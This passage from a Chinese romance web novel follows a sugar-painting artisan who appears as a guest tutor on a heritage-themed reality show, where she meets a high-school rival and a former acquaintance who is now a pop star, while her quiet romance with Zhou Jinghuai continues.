黎穗穿了一身黑色的学士服,捧着一束向日葵站在大学校门口,脸上的笑意,比正午的阳光更为耀眼。 这张照片,在相册里存放了整整一年。 手机在她手里的那两个月,她但凡看一眼相册,他的心思就昭然若揭。 幸好她没看到,周景淮想。 但也可惜,她没有看到。 * 那头,黎穗正坐在客厅地毯上剪辑视频。 大功告成后,她登陆上爷爷的视频号,上传发布。 这段时间,因为热搜及小程序的推广,这个号的评论点赞也日益增多,甚至还经常有人给她发一些鼓励私信。 她照旧点进私信箱看了一眼,一条条回复感谢。 令她惊讶的是,今天的私信箱里,除了鼓励,居然还有一条合作私信,来自一档名为《我靠本事赚钱》的节目。 黎穗想起来,当时她上热搜的时候,评论区就有人艾特了这个节目组,居然,真的被节目组看到了? 这是一档女性群像经营互动节目,主旨是希望凭借女性力量宣传非遗、宣传中国传统文化,而节目组希望她能担任节目中的糖画导师兼飞行嘉宾,参与其中两期节目的录制。 选角导演还给她发来了节目策划ppt。 黎穗打开ppt认认真真看完,不得不承认,节目的主旨,确实吸引了她。 如果糖画能在这个节目里出现,宣传效果绝对比她开店、做一些视频好得多,但是,上节目就意味着要曝光在大众眼中,接受所有观众的评判,无论是正面的,还是负面的。 她……能适应吗? 就她现在的能力,担负得起“导师”这个重任吗? “喵!” 突如其来的一声,把黎穗的思绪扯了回来。 她顺着声音看去,不远处,公主正底气十足地朝大圣挥舞着爪子,而后者畏畏缩缩,用脑袋顶着球往公主那儿推,一副“都给你,都给你”的怂样。 黎穗忍不住笑了出来,盘腿坐在地毯上,拿起手机记录这一切,还不忘撺掇:“公主,揍它!” 拍完一段十几秒的“公主驯服大圣”视频,黎穗本能地点开了和周景淮的聊天界面,但还没按下发送,突然想起不对。 她退出微信,绷着小脸继续拍起了视频,直到门禁“滴”一声被解锁。 周景淮一进门,就觉得自己仿佛又被开启了“仅她不可见”模式,公主和大圣默契地跑了过来,她却跟没看到他这人似的,一会儿喝水,一会儿低头摆弄手机。 周景淮朝远处扔了个球,俩小家伙果然一前一后地跑了。 他脱下西装外套,随手扔在一旁,身子往下挪,紧贴着她坐下。 黎穗便往右挪了十公分,一副要跟他划清界限的样子。 周景淮忍俊不禁,扯扯她睡衣袖子:“没喝酒。” 黎穗半信半疑,但终究还是把脑袋偏了过来。 周景淮的右手撑在地上,上半身往前凑,四目相对,黎穗眼里是他含笑的神态。 耳畔,他的语调微微上扬:“不信你闻闻?” 黎穗不动声色地嗅了嗅。 还真没有酒味。 只有衣料上淡淡的木质香气,夹杂着些微酸甜的……葡萄味道? 原来是果汁啊。 黎穗撑在地毯上的右手,不自觉攥了攥:“哦。” “以后不让我喝酒,直接跟我说,写什么备忘录。” “我那是在搜集小说金句素材,谁不让你喝了。”黎穗撇撇嘴,“关我什么事。” “哦,只是素材啊。”周景淮的语气听着有些失落,“还以为你关心我呢。” 黎穗一时语塞,脑子彻底短路。 “那你非要这么以为……”她的声音越来越轻,最后低头摆弄着手机,几乎是在自言自语。 “我又没说不可以。” 第40章 (二更) 氛围突然变得尴尬又暧昧,黎穗清了清嗓子,转移话题:“周景淮,我刚才收到了一个节目组的邀约。” 周景淮也收了刚才那戏谑的神色,探过头来看:“什么节目?” 黎穗把私信的内容给他看,试图把现状拉回到一种商业讨论的氛围:“你觉得我应该参加吗?” “没有应不应该,只有你想不想。”周景淮说,“无论你做哪种决定,都是对的。” 不知为何,周景淮轻飘飘的一句话,却仿佛让黎穗突然看清了前路。 “既然都是对的——”她偏过头,朝他笑了笑,灯光洒在她双眸,璀璨如窗外的星辰。 “那,我想试试没有走过的路。” * 在心里有了大致的决定后,黎穗更细致地在网上查看了节目的相关内容。 为了保证正式播出时的效果,非遗学习的部分是不允许提前泄露的,但节目组会在有嘉宾的日子进行晚餐直播。 17:00—19:00。 从厨房到餐桌。 而在餐桌上,节目组会给她们设置非遗相关的知识问答或游戏,成员及嘉宾赢来的积分,可以向节目组兑换明天的食材及基础生活用品。 目前直播已经进行了三期。 可惜由于成员默默无闻,这三期嘉宾又都是素人老师,无法自带流量,再加上节目组宣传也不够,前两期直播的播放量都只有几千,弹幕也只有五六十条。 第三期,倒是有了一些起色,播放量达到了3万,弹幕也达到了1242条之多。 难道这块璞玉被发现了? 黎穗立刻打开第三期回放看了一会儿,也终于借弹幕上别人找来的资料,大概知道了六位成员的名字和职业。 杜玥,25,服装设计师。 胡璇,33,餐厅老板。 叶晓灵,26,歌手。 徐亦曦,28,清北大学数学系博士。 陈瑶,30,导游。 黎穗一行行往下看,却在看到最后一列弹幕的时候,按下了暂停—— 刘文姿,24,模特。 真是冤家路窄,这都能碰到? 大概是她盯着ipad屏幕发呆了太久,周景淮探过脑袋看了一眼,看清弹幕后,他悠悠在她身边坐下了。 “不想去了?” 黎穗回神,挺直了腰板毫无犹豫地反驳:“才没有,确定了要去,我就一定会去,干嘛因为一个刘文姿改变?我又没有对不起她。” 这才是她。 周景淮勾了勾唇,往后一靠,和她一起看起了直播回放。 和平时看电视的时候不太一样,这回他靠得很近,黎穗总感觉,俩人的发丝似乎交缠在了一起,夏天穿的轻薄,手臂更是毫无阻隔地贴着。 是从什么时候开始?他们之间,这种若有似无的□□接触,似乎越来越多,谈不上抗拒,只是每次,黎穗都觉得皮肤上像是贴了暖宝宝似的,让她整个人不自觉地发热。 她缩了缩手臂,清清嗓子:“你坐这么近干嘛。” “屏幕太小,坐远了看不清。”周景淮一副理所当然的语气。 黎穗扫了眼桌上的遥控器,本来想说那我投屏吧。 犹豫片刻后,却最终没有说话。 俩人就这么手臂贴着手臂,继续看了下去。 到了晚餐环节,常年居住海边的素人老师用自己带来的食材做了两道海鲜——捞汁鲜蛤和白灼海虾。 而节目组两位成员则用昨天和节目组兑换的食材各做了一道素菜——清炒毛白菜和紫菜虾仁汤。 视频已经过半,黎穗依旧没明白,这1242条弹幕都在哪里,前半部分的弹幕加起来,也不过就二三十条。 直到成员们开始用餐,她终于明白了。 弹幕几乎都聚焦在坐最角落的刘文姿身上。 【角落那个是谁啊?看起来很不想吃的样子。】 【我怎么感觉她就快翻白眼了,不想吃倒是自己去做啊,吃别人的还意见这么多。】 【看了一下,刘文姿,是模特,模特来参加这种节目干嘛?想红的心昭然若揭了。】 【这才录制几天啊,不爽就表现得这么明显了,真是不红倒是爱耍大牌。】 【x音来的,围观奇葩。】 …… 弹幕有些不堪入目,直到大概半小时后,成语们各自吃完了饭,阴阳怪气的嘲讽依旧没有停歇。 【刘文姿真的只吃胡璇做的那道白菜哎,嗑到了。】 【这就已经分小团体了?牛。】 【别人都吃得干干净净,就她碗里还剩这么多饭,真浪费。】 【能不能趁着节目还没播,赶紧换人啊!看到她那张冷脸已经生理性不适了。】 …… 虽然黎穗和刘文姿不合,但是看到这些毫无依据的猜测甚至抹黑,黎穗并没有任何开心的感觉。 因为,她其实知道原因。 她抿了抿唇,索性将弹幕关了。 大概又四十分钟的游戏环节后,直播结束,黎穗也大概了解了这个节目的大致流程。 在和节目组确定了日程之后,七月的最后一天,黎穗飞往伽南古镇,准备参与为期两天的拍摄。 伽南古镇是著名的非遗小镇,镇上聚集着各种手艺人,这大概也是节目组选址在这里进行拍摄的原因。 到达约定的地点时,已经是中午,黎穗一眼就在拍摄地门口看到了驻足以待的导演谢婉婷。 谢婉婷穿着简单的白色T恤和牛仔裤,头发干脆利落地梳成一股粗粗的马尾,整个人看起来干练有神,就连说话也跟机关枪似的。 “黎老师辛苦了,我先带您去嘉宾住的地方,您可以先休息一会儿。”谢婉婷说着,伸手想要帮她拿行李,“我来吧。” “不用不用,箱子里没多少东西,我自己来就行了。”黎穗笑笑婉拒。 “行。”谢婉婷倒也没有坚持。 这幢位于古镇边缘位置的闲置老宅,面积倒是挺大,但木质结构的两层楼看起来有些破败,庭院里是砖泥结构,砖头与砖头之间长满了绿色的杂草,只清理了一半。 二楼窗户上挂着窗帘,大厅的长桌上放了一些制作油纸伞的工具,算是给老宅增添了一丝居住气息。 “这是成员们居住和工作的非遗小屋,她们今天都出去买材料和找新项目了,等会儿就会回来。”谢婉婷一边介绍,一边带着她穿越庭院,往侧门走,“嘉宾们的住所我们都安排在后面了。” 黎穗点点头,抬眼看到一幢白色的砖石结构小平房,一共有四个房间。 每个房间门口都放着一张藤椅,黎穗抬头看了眼天,确实是个晒太阳的好地方。 和非遗小屋不一样,嘉宾的房间明显是经过打扫的,小小的房间里放着一张单人床,旁边是书桌,整体非常干净。 “非遗小屋是16小时拍摄的,但这里没有任何摄像头,黎老师可以放心。”谢婉婷拉了个椅子坐到黎穗对面,打开手机给她看相册,“节目策划您之前已经看过了,我再给您介绍下目前的录制情况啊。” “好。” “目前录制还处于前期阶段,她们在录制的第一天通过在伽南古镇的实地考察,选择了十项非遗项目进行初步了解,现在已经学习了剪纸、油纸伞和绒花,之后几天预备学习的就是糖画、皮影戏等等。” “等都学完之后,她们会根据自己的兴趣及老师推荐,每人主导一项非遗技艺,进入第二阶段更深层次的学习……” 谢婉婷大概介绍了五分钟,说完,她看了眼手表上的时间:“她们应该快回来了,对了,您会做饭吗?” “基础的会。”黎穗拿过书桌上的袋子,“正好我看之前的老师们都带了食材来,我就也带了一些。” 谢婉婷低头一看,里面是牛肉和辅川特色的糕点。 “那可太好了!其实我们这不是硬性要求,但是大家好像都自发带了。”谢婉婷笑笑,又抬手看时间,“那您先休息一会儿,还有一位明星嘉宾也快到了,我去接一下。” “明星嘉宾?”这倒是没在之前的三期直播里看到过。 “对,副导演靠人脉拉来的嘉宾,希望能给我们这无人问津的节目增加一点关注度吧。” “我能好奇一下是谁吗?” “钱秉一老师。”谢婉婷啧啧感慨,“钱老师的厨艺,据说不输五星级饭店主厨,今晚大家有口福了。” 黎穗觉得自己好像在哪里看到过这名字,但记不清了,她也没细想,点了点头,笑道:“那我可就留着肚子了。” “我也留着呢。”谢婉婷急匆匆往门口走,但就在踏出门槛的前一秒,又连忙回头,“对了,您应该知道我们今天五点会有直播吧?您可以参加吗?” “可以的。” “好嘞!您不用紧张,当镜头不存在就行。”说完,她挥挥手就走了。 黎穗挠挠脸,心想,当镜头不存在? 可能不行啊。 她要是当着镜头面和刘文姿互翻白眼的话,能播出去吗? 黎穗在房间里休息了大概半个小时,听到外面传来热闹的交谈声。 不多时,谢婉婷急匆匆来告诉她,成员们已经在会议室里等着上课了。 教学时间没有直播,但有无数台摄像机进行拍摄。 黎穗刚走到会议室门口,就看到有成员在好奇地四处张望:“老师呢?不是说到了吗?” 黎穗深呼吸了一口气,微笑着踏过门槛,和大家打了声招呼:“大家好。” “哇哦!!!” 现场瞬间响起了热烈的鼓掌声,除了因为节目组保密工作做得太好而愣在原地的刘文姿。 她迟了两秒,才跟上大部队的节奏,脸色微冷地拍了拍手。 黎穗和其他成员一一握手、介绍,最后停留在了刘文姿面前。 她伸出手,温和地微笑着:“你好,我叫黎穗。” 刘文姿的神色有片刻僵硬,但很快恢复如常,扯了扯嘴角:“黎老师好,我叫刘文姿。” 跟小班教学似的,讲台下,六张桌子分为两列,排得整整齐齐,桌上分别放着一套糖画工具,以便等会儿上手练习。 黎穗走到电脑旁,插上u盘,身后的电子屏上很快跳出了她这几天制作的ppt:“那么我们的课程就开始啦,我先来和大家介绍一下,什么叫糖画,以及基本的工具等等。” “糖画,顾名思义,就是用糖画的画……” 黎穗一开始还觉得有些不适应,但当投入到其中,渐渐也就忘了镜头的存在。 她尽可能用有趣易懂的语言去叙述糖画相关的一切,底下的成员们也都听得非常认真,每个人都拿笔记本记着笔记,还时不时提出一些疑问。 大概一个小时后,基础课上完,铜锅里的糖浆也开始冒泡。 成员们围在她身侧,看着她操作。 黎穗顺口问了句:“你们想画什么?” 绝大多数人都明白分寸,无非就是一些小猫小狗,直到轮到刘文姿,她看似犹豫了一会儿,微笑着问:“黎老师,您会画人物吗?” 黎穗抬头看向她,直面她眼底的挑衅:“你想画谁?” “咱蹭个大的——”刘文姿半开玩笑道。 “能画谈霄吗?” 40-50 第41章 在节目里提及无关嘉宾,尤其还是所谓顶流,是一种极其危险的举动。 也不知道刘文姿究竟是抱着“反正都被骂了”的破罐破摔心态,还是宁愿伤敌一千自损八百也要和她作对。 成员们也各个面露惊讶,幸好站在刘文姿身边的陈瑶反应迅速地解围道:“我们刚才出去的时候,看到谈霄的广告牌了,超大一块,帅得人神共愤。” 因为她的话,现场哄堂大笑,气氛缓和不少。 黎穗十分坦然地回答:“我可以试试。” 那一瞬间,黎穗清楚地看到了刘文姿眼里的惊讶,也是,黎穗想,在刘文姿心里,谈霄于她,大概还是一个万分不愿提起的名字。 说是试试,黎穗下手的动作却十分熟练。 不过就二三十秒的时间,纯白石板上就出现了一个戴着鸭舌帽的少年脸部形象,无论是眼角的那颗小痣,还是鸭舌帽上的“TX”,都让人一眼认出他的身份。 “这是谈老师之前席卷热搜的那套机场图吧?原来黎老师也看过啊!”旁边的叶晓灵惊讶感叹。 “我手机是5G的。”黎穗笑着把手里的糖画递给刘文姿。 刘文姿扯了扯嘴角,没有多说什么。 大家并没有察觉到俩人之间的暗流涌动,各自回到自己的位置,开启了练习模式,画的主题都一样——花。 但至于画什么花,可以自行决定。 糖画没有画谱参考,因此对于这些新手来说,就格外困难,她们好像是幼儿园里刚开始学写字的小朋友,每一个下笔都透着生疏和小心翼翼,却也郑重又认真。 黎穗一圈一圈地看,除了一个个纠正动作、回答提问以外,也需要根据她们的表现在心里有一个基础打分,以作为之后正式打分的参考。 刘文姿是唯一从头到尾都没有向她提问过的成员。 又转了半圈,黎穗在她身侧停下,低头看了眼,和别人不太一样,刘文姿画的不是一朵,而是一株梅花。 树枝倾斜生长,树杈顶端长着梅花朵朵。 虽然抽象,但在六个人里,刘文姿这幅,不算第一,也能拿第二了。 黎穗俯下身,捂住收音,用只有两个人能听到的音量调侃了一句:“你不怕我选择你?为什么不画得差一点?” 刘文姿有样学样把收音捂住,姿态依旧高傲:“我有什么可怕的?” 黎穗没说什么就走了。 临近晚饭的时间点,黎穗随机选了叶晓灵和胡璇一起做饭,其他人则留在会议室内继续练习。 直播也就从厨房里开始了。 之前的热搜里顾客拍摄的黎穗照片,都出自于她工作的时候,因此都戴着口罩。 这场直播,算是她第一次彻彻底底曝光在镜头下,自然也吸引了一些之前对她长相好奇的网友。 【还以为之前戴口罩是因为会见光死,没想到居然长这么可爱,老天奶,随时随地发现新老婆。】 【热搜后立马就上了综艺,收拾收拾准备出道了这是?】 【怎么还不到晚饭时间,我要看抓马现场。】 【有的人为什么那么喜欢挑拨离间,看女孩子们一起搞事业不香吗?】 …… 胡璇本职工作是餐厅老板,因此一来就承包了荤菜的制作,她顺道翻了翻冰箱:“前两天老师带来的海虾还剩一些,要不然再做一道?” “好啊。”叶晓灵一边洗锅一边说,“昨天从节目组那儿换了海带丝和番茄、鸡蛋,那素菜就做清炒海带丝和番茄鸡蛋汤吧,黎老师你觉得呢?” “可以啊。”黎穗站在冰箱门口,又从里面拿了一块牛肉,“要不我再做一道小炒牛肉吧,刘文姿海鲜过敏,可能吃不了海虾之类的。” “海鲜过敏?”叶晓灵和胡璇同时愣住了,异口同声,“你怎么知道?” “其实,我们是高中同班同学。”黎穗坦然地回答,“以前去食堂吃饭,她好像从来不吃海鲜。” “妈呀,她怎么从来没跟我们说?”叶晓灵懊恼道,“这几天做了好几道海鲜呢。” “难怪最近几天她吃得都少,我还以为是太累了吃不下。”胡璇恍然大悟的同时,直播间的弹幕数量也有了明显增加。 【原来是海鲜过敏?难怪刘文姿那天只吃白菜呢。】 【前几天骂的人能回来道歉吗?】 【不是,海鲜过敏不能说吗?藏着掖着是干嘛?还要别人主动发现啊?】 【我懂刘文姿!我也是这种人,特别怕因为自己的问题,给别人增添负担,索性就自己默默承担了。】 【只有我的关注点放在同班同学这件事上吗?什么班级啊,一下出两位大美女。】 …… 厨房里热火朝天,没人关注到这些,但一墙之隔的会议室内,由于没有直播镜头怼着,却传出阵阵惊讶的询问。 “姿姿,你海鲜过敏啊?我的天,难怪你晚上回去啃面包呢。” “你早说呀,早说的话我昨天再多加两道菜。” “对呀,是不是不把我们当朋友啊你?” 刘文姿正在自己的手机上看直播,听到大家的关心,心头莫名颤了颤。 “没有不把你们当朋友,就是觉得没必要。” 杜玥和徐亦曦异口同声:“什么没必要?” “我知道。”陈瑶举起了手,“我以前也这样,觉得大家都很累了,没必要因为我的问题,又给大家增加本不需要的负担,本来做四道菜就好了,结果因为我,又要多做两道,就觉得没必要。” “神经啊你!”杜玥搂着她的脖子,严厉斥责,“以后再这样,可别怪我大刑伺候!” 刘文姿疑惑问:“什么大刑?” 徐亦曦指了指她的脖子:“玥玥会正骨,我前两天刚体验过,非常酸爽。” “我错了。”刘文姿神色无奈,立马双手合十讨饶。 众人这才放过她。 厨房里的直播还在继续,刘文姿盯着屏幕里的黎穗,不由陷入迷茫。 高中的时候,她从来没有和黎穗一起去食堂吃过饭,黎穗怎么会注意到她海鲜过敏? 更让她不解的是:以俩人的关系,黎穗为什么要帮她解释?甚至她刚才还故意为难过她。 心里有一种难言的情绪,就像是被摇晃过的可乐,打开拉环的一瞬间,噗噗往外冒。 这人,有病吧? * 奇怪的是,谢婉婷下午就说去接的明星嘉宾,迟迟没有出现。 饭后游戏也因为缺了一个人,临时改成了知识问答,问题几乎都出自黎穗在教学时提到过的内容。 大家答得还算顺畅,为明天的晚餐兑换了不少食材。 直播结束。 所有人都如释重负,说话也随意了一些。 杜玥看着摄像机外的谢婉婷,开玩笑道:“谢导,你不会是给我们画饼吧?真的有大咖嘉宾吗?” “真有!刚才遇到点问题,在赶过来了,马上就到!”谢婉婷和白天着急忙慌的样子截然不同,双手叉着腰,一脸憋不住的笑意,“你们肯定想不到是谁。” 成员们你一句我一句,开始偷偷猜测嘉宾的身份。 而作为唯一已经被剧透的人,黎穗并没有其他成员那般好奇。 白天听谢婉婷说了之后,她在网上搜索了钱秉一的名字,才看到他和谈霄可以说是师徒关系。 她也是那时才想起来,为什么觉得这名字眼熟,因为在之前看到的谈霄合约到期、选择新东家的新闻里,钱秉一正是待选东家之一。 不过幸好,是他来,而不是他徒弟。 黎穗暗暗在心里松了口气。 没一会儿,大门口传来些许骚动,似乎有人喊了一声:“嘉宾到啦。” 所有人默契地抬头看向大门口,浓重的夜色里,颀长身影逆着光跨进门槛,黑色鸭舌帽挡了半张脸。 这钱老师,四五十了,还挺潮? 黎穗这么想着的同时,来人摘下了帽子,一张脸被头顶洒下的昏黄灯光勾勒得越发立体,眼窝偏深,薄唇平直,眼眸冷漠,连眼尾那颗小痣,似乎都显得疏离。 “大家好——” 他微微颔首,脸上没什么表情,视线从黎穗身上一扫而过,并没有停留,最后落在人群中央,低沉的嗓音随之响起。 “我是谈霄。” 第42章 (二更) 黎穗怔了片刻,很快反应过来,跟着满脸惊喜的大家一起鼓掌欢迎。 但她不明白,为什么说好的嘉宾,突然换了人。 直到镜头后的谢婉婷解释:“本来应该是钱秉一老师来的,但是下午的时候钱老师突然身体抱恙,就给我们推荐了他的爱徒来救场。谈霄老师,这我应该不用多介绍了吧?” “不用不用。”叶晓灵偷偷用手肘拱了拱刘文姿的手臂,压低了声音说,“你这是预言家吧,还真给咱蹭了个大的。” 刘文姿无声哼笑,看好戏似的偷偷扫了眼角落里的黎穗。 她突然想起,自己撞破黎穗和谈霄关系的那一天。 在此之前,她一直以为俩人根本不认识,那天周末,她也只是想去文具店买几只笔。 却没想到就在距离文具店不远的巷子里,她意外碰到了刚打完架的谈霄,而黎穗正拿着棉签,帮他处理伤口。 看到她,谈霄脸色淡漠,甩开黎穗的手,转身就走。 那一瞬间,黎穗眼里的失落,是刘文姿对于他们俩人这段不知道友情还是爱情的关系,最深刻的印象。 后来,谈霄放弃了高考最后一门考试,独自北上,顺利出道,一路登顶,风光无限,而黎穗却留在了辅川,听说现在独自守着爷爷的那间小店。 种种迹象表明,当初那段关系,大概率完全就是黎穗一头热。 但此刻,令刘文姿意外的是,好像风水轮流转了。 黎穗满脸坦然,依旧保持着微笑,像是根本不认识眼前的人。 倒是谈霄,虽然面无表情,握拳的右手,却难掩些许躁动的情绪。 刘文姿彻底懵了。 什么情况? * 晚上是成员们的练习及复盘时间,黎穗和谈霄则被导演组安排到了房间休息。 由于是节目组租住的房子,还没来得及安装空调,屋内只有一台风扇,吹出来的风似乎也是热的。 但屋外倒是晚风习习。 黎穗想起门外的藤椅,拿着手机出了房间。 谈霄的房间就在她隔壁,但大门紧闭,窗户紧锁,看起来不像有人在,倒是他门口的藤椅靠背上,挂着一件黑色薄外套,是他刚才穿的。 黎穗猜测,他估计是在藤椅上坐了会儿就走了。 说不清内心是什么情绪。 刚得知谈霄离开辅川、去了帝都发展的那段时间,黎穗曾经设想过无数种,将来她和谈霄可能的重逢场面。 可能是在某个晚会现场,作为观众和嘉宾。 也可能是在同学聚会上,作为多年不见的老同学。 但万万没有想过,会是在摄像机下、在无数观众面前。 可奇怪的是,和谈霄重逢这件事,带给她的冲击,并没有以前想象中的那么大,甚至,她都不觉得自己是在摄像机面前假装坦然。 她似乎还真的……挺坦然的。 掌心下的手机突然震动,把黎穗飘远的思绪一下扯了回来。 她低头确认消息。 周景淮:【收工了吗?】 黎穗拍了张月亮的照片,发给他:【收工了,正在赏月。】 周景淮也回过来一张照片,黎穗点开放大,照片里,大圣整个身子趴在地上,一副不服气的表情,而公主踩着他的背,右爪子搭在他脑袋上,气势汹汹。 周景淮:【又打架了。】 黎穗:【?】 黎穗立刻发去了视频邀请,那头很快接通。 黎穗看热闹不嫌事大,兴冲冲说:“快给我看看,还在打不?” 周景淮把镜头对准一猫一狗,语气懒懒地在旁边解说:“第一回合,公主使出一招泰山压顶,暂时领先,但大圣一个翻身,将公主翻倒在地,战况再次升级。” “怎么回事儿?”黎穗撑着脑袋,目不转睛地看着,“大圣之前不都唯公主马首是瞻的吗?今天居然敢反抗?” 周景淮的声音从镜头外传了进来:“今天去遛的时候,公主好像看上了隔壁楼的布偶,吃醋了吧。” 黎穗轻啧一声:“大圣这心眼,就那么一咪咪点儿。” 说话之际,镜头里战况再次有了变化。 公主弓起身子“喵”了一声,大圣刚才的嚣张瞬间就消失了,委屈巴巴地侧躺在地。 “……”黎穗失望摇头,“大圣这胆子,也就这么一咪咪点儿。” 话音刚落,周景淮那边的镜头突然翻转,他的脸毫无遮挡地出现在了镜头里。 那一瞬间,黎穗突然觉得手一抖,跟被针刺了一下似的。 她其实不太喜欢和人视频,隔着屏幕,被迫注视彼此,每一个脸部表情都看得分明,这给她一种和日常聊天不一样的亲昵感。 但周景淮却格外坦然地靠在沙发上,黑色睡衣最顶上的扣子被解开,露出了一半的锁骨轮廓。 喉结随着他说话的动作,时不时上下起伏。 深夜尤其令人浮想联翩,黎穗默默把镜头放远了点,让自己的脸不至于在镜头里占比那么大,同时也纯属自我安慰似的拉开了俩人的距离。 “拍摄还顺利吗?”周景淮问。 “还可以。”黎穗犹豫片刻,跳过了谈霄这个名字,她站起身,把手机拉远,给他介绍环境,“你看,这是节目组安排的住所,你别看就是小平房,里面还挺干净的,比酒店没差多少,就是没有空调,感觉睡觉会热死。” 她话里无意识的撒娇,让周景淮眼底泛起淡淡笑意:“什么时候回来?” 黎穗举着手机重新坐了下来,拿过一旁的蒲扇,用力给自己扇着风:“后天吧,明天录制结束,后天中午的飞机。” 周景淮说:“我明天晚上的航班,要出差三天。” “啊?”黎穗惊讶地停下了扇风的动作,“那我到家的时候,你已经在飞机上了?” “嗯。” “好吧。”不知为何,好像有些遗憾,她本来还想着回去给他展示一下今天跟胡璇学到的厨艺小技巧。 “我等会儿给你发个号码,这几天不想做饭就联系他,他会送到家里。” “好。” “公主和大圣……每天拍给我看看?” “你也太宠它们了,就这么几天。”黎穗撇撇嘴,勉为其难道,“行吧。” 说话间,依稀听到不远处传来脚步声,黎穗愣了愣,觉得可能是谈霄回来了。 她站起身,一边往屋里走,一边继续和周景淮聊天。 大概半小时后,视频才被挂断。 周景淮心情颇好,极为难得地登陆了一次微博,虽然直播已经看过了,但当时并没有保存,只能看看微博上有没有人录屏。 点进搜索框,他还没有输入关键词,却先被下方热搜榜的第一吸引了目光。 【谈霄伽南古镇】 如果他没记错的话,黎穗去的《我靠本事赚钱》这个节目,就是在伽南古镇进行拍摄。 破天荒的,第六感让周景淮点进这个热搜看了一眼,唯一的信息,只有一张路人发的偶遇图。 #谈霄伽南古镇#听说有人在伽南古镇遇到谈霄了,是在拍戏吗? #谈霄伽南古镇#哥哥好神秘的行程……连站姐都不知道,可能是私人行程? #谈霄伽南古镇#我猜是拍戏!终于要演古装剧了吗? …… 相关微博无数,却没有一个人知道准确答案。 周景淮本来已经准备退出,视线扫过屏幕上的偶遇图,他却突然又顿了动作。 周景淮放大图片,聚焦在谈霄那件黑色薄外套上,胸口位置是一个白色的品牌logo。 目光缓慢地暗了下来。 如果他没看错的话,这件衣服,他刚才在黎穗的镜头里看到过。 就挂在距离她不远的那个藤椅靠背上。 第43章 直到第二天晚餐直播时间,微博上的这个疑问,终于有了解答。 当直播间里出现谈霄的身影,观看人数也像是坐了火箭似的,以肉眼可见的速度往上飞涨。 黎穗想,难怪昨天谢婉婷提到大咖要来的时候,嘴角的弧度压都压不下去,这流量,未免也太大了。 【我靠!!!原来是来参加综艺了!!!这保密工作做得也太好了吧!】 【这是什么综艺啊……完全没听过。】 【不续约之后资源降级这么严重吗?居然已经沦落到要来参加这种了。】 【我觉得挺有意义的啊,非遗主题的综艺,好像还没看到过类似的。】 …… 是吵闹,也是热闹。 外面关注着直播间的工作人员笑得合不拢嘴,厨房里的四人,却一无所知。 第一次面对那么大咖位的嘉宾,陈瑶显得有些局促,一边摘着芹菜叶一一边问:“谈霄老师会做饭吗?” 谈霄正在低头切土豆,闻言头都没抬,淡声回道:“高中的时候做过两三次。” “高中就自己做饭吗?好厉害!”陈瑶惊讶感慨完,又顺着问,“那谈霄老师有什么拿手菜吗?” “不知道算不算拿手。”谈霄指了指面前的土豆,“土豆牛腩吧。” “哇!好巧。”陈瑶立刻转身开冰箱,“正好昨天黎老师给我们带了牛肉!今天可以尝尝谈老师的手艺吗?” “行。”谈霄伸手接过。 明明厨房里有四个人,但三个都各怀心事,以至于陈瑶不说话的时候,厨房里就安静得异常。 连直播间里的观众都不由觉得奇怪: 【我是开静音了吗?怎么听不到声音啊。】 【昨天明明氛围挺好的,谈霄一来,感觉大家都拘束了。】 【大家都不熟吧,话少很正常啊,我甚至觉得谈霄今天已经算话多了。】 【只有我在好奇,谈霄高中的时候为什么会做饭吗?不会是做给他那个初恋吃的吧?】 【早就澄清了不是初恋,没有在一起过!而且做饭就不能做给自己吃吗?】 …… 陈瑶本来想看看有没有什么弹幕提问,缓解一下现场的氛围。 结果一眼就看到了关于初恋这条,只能默默无视。 厨房里只有两口锅,黎穗占了一个,谈霄只能拿着食材走到另一口锅前。 他熟练地将牛腩焯水,又在干透的锅里倒入些许油。 环顾四周,他问了句:“有糖吗?” 陈瑶和刘文姿在后面,一个准备食材,一个和观众聊天,谁都没听到他的话。 黎穗扫了眼,白砂糖罐就在自己手边,拿起罐子递给他的同时,她脱口而出:“没有冰糖,白砂糖可以么?” 谈霄顿了两秒才接过,不冷不热道:“随便吧。” 不多时,黎穗做的糖醋排骨的香味,溢满了整间厨房。 “这味道!绝了!我能干三碗饭!” 陈瑶俯身嗅了嗅这酸甜的香气,竖起大拇指,一脸羡慕:“黎老师,你做菜是自学的吗?” “一部分是。”黎穗笑笑,把锅里的酱汁浇在排骨上,“不过这道糖醋排骨是别人教的。” “谁啊?”陈瑶八卦道,“男朋友?” “是……”黎穗陷入犹豫。 现代网友的侦探潜力,黎穗非常了解,她不确定,在直播间里说的话,万一之后这个节目火了,会不会被一些网友顺势扒出周景淮。 好像没有必要自己设置隐患。 黎穗摇摇头,笑着否认:“不是,就是朋友。” “我就说嘛,黎老师这么年轻。”陈瑶凑近她耳朵,捂着收音设备,低声说,“就我之前实地走访,这小镇上的帅哥,特别特别多!没事可以多逛逛。” 黎穗噗嗤一声笑了出来。 直播间里也因为这,短暂地又热闹了一会儿。 【我的宝藏老婆是单身!!!普天同庆!】 【为什么要悄悄说?有什么是我这种高级vip不配听的吗?】 【谈霄也太认真了吧,他是真的来做菜的。】 【好想看谈霄玩游戏,总不能也这么沉默了吧!】 …… 事实证明,他能。 饭后,导演提议把昨天搁置的分队游戏玩了。 谈霄从头到尾没有发表任何意见。 八人抽签分成两组。 第一组是杜玥、叶晓灵、刘文姿和徐亦曦。 第二组是黎穗、谈霄、陈瑶和胡璇。 “第一个游戏是成员默契挑战。”导演在镜头外解释着规则,“等会儿我会提问,你们同时写出答案,四人答案中有三个及以上一致,就可以帮自己队伍获得100积分。” “谢导。”陈瑶举手提问,“题目都是关于糖画的吗?” “一部分是,一部分不是。” 说着,谢婉婷把手里的小册子翻了一页。 “现在开始啊,第一道题。”谢婉婷停顿片刻,才神秘兮兮地问,“黎老师,是几岁开始接触糖画的?不是说正式入门,随便玩玩也算。” 众人窃窃私语,叶晓灵不确定地举手:“这道题,上课的时候没提过吧?” 谢婉婷:“废话,要是提过还叫什么默契大考验,应该叫知识问答了。” “这也太难了吧!”众人一头雾水,只能靠猜。 第一组两个写了七岁,两个写了八岁。 而第二组的四个人,黎穗和谈霄都写了三岁,另外两个,一个写了五岁,一个写了六岁。 众人看着黎穗手里的画板,哗然:“黎老师,你三岁就开始学了?” “不是。”黎穗摇头,“那时候只是被我爷爷带着玩儿的,其实我正式开始学,反而很晚。” “哎,谈老师是怎么知道的?”谢婉婷好奇地问。 谈霄淡定地擦去板上的字:“三岁看老,猜的。” 弹幕一片笑声,意外于谈霄居然也会搞冷幽默。 谢婉婷没有怀疑,啧啧感慨:“真可惜,目前没有队获得积分啊,要加油咯,不然明晚你们可能要吃空气。” 【这也太难了,谁能答得一模一样啊。】 